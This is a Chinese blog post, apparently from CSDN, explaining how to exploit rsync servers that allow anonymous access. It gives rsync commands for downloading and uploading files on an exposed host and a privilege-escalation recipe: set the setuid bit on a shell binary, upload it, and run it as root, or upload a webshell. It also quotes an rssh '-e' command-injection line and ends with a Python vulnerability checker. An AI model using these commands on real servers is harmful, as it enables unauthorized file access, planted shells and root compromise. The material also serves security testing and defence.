漏洞利用——Rsync匿名访问漏洞

在这里插入图片描述


QQ 1285575001
Wechat M010527
技术交流 QQ群599020441
纪年科技aming


Rsync匿名访问漏洞

Rsync简介
什么是Rsync
Rsync(remote synchronize)是一个远程数据同步工具,
可通过LAN/WAN快速同步多台主机间的文件。

什么是Rsync的匿名访问
匿名访问很简单,不需要用户名,不需要身份验证的所有信息
(包括各种口令、公私钥、生物学特征等等),
简而言之就是一句话,没有任何访问控制,直接可以访问

在这里插入图片描述
在这里插入图片描述

一般危害

下载:#rsync -avz a.b.c.d::path/file path/filiname
上传:#rsync -avz path/filename a.b.c.d::path/file

提权操作

#chmod a+s shell
#rsync -avz shell a.b.c.d::path/file
查看shell权限不变,运行后提权到root,也可以尝试上传webshell

rssh

此外rssh-2.3.3-3没有正确过滤-e选项,可能导致问题。

#rsync -e./script.sh a.b.c.d::/tmp--server ./

漏洞验证

Metaspolit的auxiliary/scanner/rsync/modules_list
python脚本

 # -*- coding:utf-8 -*-
"""
    Rsync匿名访问漏洞(未授权访问漏洞)验证工具
"""

#引入依赖的包和库文件
import os
import sys
import socket
import logging

#全局配置设置
logging.basicConfig(level=logging.INFO,format="%(message)s")
socket.setdefaulttimeout(3)


#全局变量
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)


#全局函数:
def str2Binary(content):
    """将文本流转换成二进制流"""
    return content.replace(' ','').replace('\n','').decode('hex')

def rsyncCheck(ip,port):
    """执行端口预检查"""
    global client
    try:
        client.connect((ip,port))
    except Exception,reason:
        logging.error("[-] 访问失败:%s"%reason)
        return False
    helloString = "405253594e43443a2033312e300a"
    try:
        client.send(str2Binary(helloString))
        hellodata = client.recv(1024)
    except Exception,reason:
        logging.error("[-] 通信失败:%s"%reason)
        return False
    if hellodata.find("@RSYNCD") >= 0:
        try:
            client.send(str2Binary("0a"))
        except Exception,reason:
            logging.error("[-] 访问失败:%s"%reason)
            return False
        while True:
            try:
                data = client.recv(1024)
            except Exception,reason:
                logging.error("[-] 通信失败:%s"%reason)
            if data == "":
                break
            else:
                if str(data).find("@RSYNCD: EXIT") >= 0:
                    logging.info("[*] 发现漏洞!")
                    return True
    return False


if __name__ == "__main__":
    ip = sys.argv[1]
    try:
        port = sys.argv[2]
    except Exception,reason:
        port = 873
        logging.error("[-] 端口未输入,按照873默认端口进行")
    try:
        port = int(port)
    except Exception,reason:
        logging.error("[-] 端口输入错误,按照873默认端口进行")
        port = 873
    if not rsyncCheck(ip,port):
        logging.info("[+] 测试安全!")
发布了183 篇原创文章 · 获赞 3 · 访问量 5503

猜你喜欢

转载自blog.csdn.net/qq_33608000/article/details/104124375